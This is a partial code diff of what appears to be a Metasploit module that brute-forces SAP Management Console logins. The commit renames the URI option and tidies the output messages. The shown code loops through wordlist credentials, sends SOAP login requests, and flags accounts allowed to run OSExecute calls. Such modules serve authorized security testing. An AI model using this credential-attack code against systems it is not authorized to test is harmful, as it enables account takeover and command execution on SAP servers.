@@ -34,41 +34,42 @@ def initialize
34
34
[
35
35
Opt ::RPORT ( 50013 ) ,
36
36
OptString . new ( 'SAP_SID' , [ false , 'Input SAP SID to attempt brute-forcing standard SAP accounts ' , nil ] ) ,
37
- OptString . new ( 'URI ' , [ false , 'Path to the SAP Management Console ' , '/' ] ) ,
37
+ OptString . new ( 'TARGETURI ' , [ false , 'Path to the SAP Management Console ' , '/' ] ) ,
38
38
OptPath . new ( 'USER_FILE' , [ false , "File containing users, one per line" ,
39
39
File . join ( Msf ::Config . data_directory , "wordlists" , "sap_common.txt" ) ] )
40
40
] , self . class )
41
41
register_autofilter_ports ( [ 50013 ] )
42
42
end
43
43
44
- def run_host ( ip )
44
+ def run_host ( rhost )
45
+ uri = normalize_uri ( target_uri . path )
45
46
res = send_request_cgi ( {
46
- 'uri' => normalize_uri ( datastore [ 'URI' ] ) ,
47
+ 'uri' => uri ,
47
48
'method' => 'GET'
48
49
} )
49
50
50
51
if not res
51
- print_error ( "#{ rhost } : #{ rport } [SAP] Unable to connect" )
52
+ print_error ( "#{ peer } [SAP] Unable to connect" )
52
53
return
53
54
end
54
55
55
56
print_status ( "SAPSID set to '#{ datastore [ 'SAP_SID' ] } '" ) if datastore [ 'SAP_SID' ]
56
57
57
58
each_user_pass do |user , pass |
58
- enum_user ( user , pass )
59
+ enum_user ( user , pass , uri )
59
60
end
60
61
61
62
end
62
63
63
- def enum_user ( user , pass )
64
+ def enum_user ( user , pass , uri )
64
65
65
66
# Replace placeholder with SAP SID, if present
66
67
if datastore [ 'SAP_SID' ]
67
68
user = user . gsub ( "<SAPSID>" , datastore [ "SAP_SID" ] . downcase )
68
69
pass = pass . gsub ( "<SAPSID>" , datastore [ "SAP_SID" ] )
69
70
end
70
71
71
- print_status ( "#{ rhost } : #{ rport } - Trying username:'#{ user } ' password:'#{ pass } '" )
72
+ print_status ( "#{ peer } - Trying username:'#{ user } ' password:'#{ pass } '" )
72
73
success = false
73
74
74
75
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
@@ -93,7 +94,7 @@ def enum_user(user, pass)
93
94
94
95
begin
95
96
res = send_request_raw ( {
96
- 'uri' => normalize_uri ( datastore [ 'URI' ] ) ,
97
+ 'uri' => uri ,
97
98
'method' => 'POST' ,
98
99
'data' => data ,
99
100
'headers' =>
@@ -105,7 +106,7 @@ def enum_user(user, pass)
105
106
}
106
107
} )
107
108
108
- return if not res
109
+ return unless res
109
110
110
111
if ( res . code != 500 and res . code != 200 )
111
112
return
@@ -126,17 +127,17 @@ def enum_user(user, pass)
126
127
end
127
128
128
129
rescue ::Rex ::ConnectionError
129
- print_error ( "#{ rhost } : #{ rport } [SAP] #{ rhost } ] Unable to connect" )
130
+ print_error ( "#{ peer } [SAP] Unable to connect" )
130
131
return
131
132
end
132
133
133
134
if success
134
- print_good ( "#{ rhost } : #{ rport } [SAP] Successful login '#{ user } ' password: '#{ pass } '" )
135
+ print_good ( "#{ peer } [SAP] Successful login '#{ user } ' password: '#{ pass } '" )
135
136
136
137
if permission
137
- vprint_good ( "#{ rhost } : #{ rport } [SAP] Login '#{ user } ' authorized to perform OSExecute calls" )
138
+ vprint_good ( "#{ peer } [SAP] Login '#{ user } ' authorized to perform OSExecute calls" )
138
139
else
139
- vprint_error ( "#{ rhost } : #{ rport } [SAP] Login '#{ user } ' NOT authorized to perform OSExecute calls" )
140
+ vprint_error ( "#{ peer } [SAP] Login '#{ user } ' NOT authorized to perform OSExecute calls" )
140
141
end
141
142
142
143
report_auth_info (
@@ -151,7 +152,8 @@ def enum_user(user, pass)
151
152
:target_port => rport
152
153
)
153
154
else
154
- vprint_error ( "#{ rhost } : #{ rport } [SAP] failed to login as '#{ user } ':'#{ pass } '" )
155
+ vprint_error ( "#{ peer } [SAP] failed to login as '#{ user } ':'#{ pass } '" )
155
156
end
156
157
end
157
158
end
159
+
0 commit comments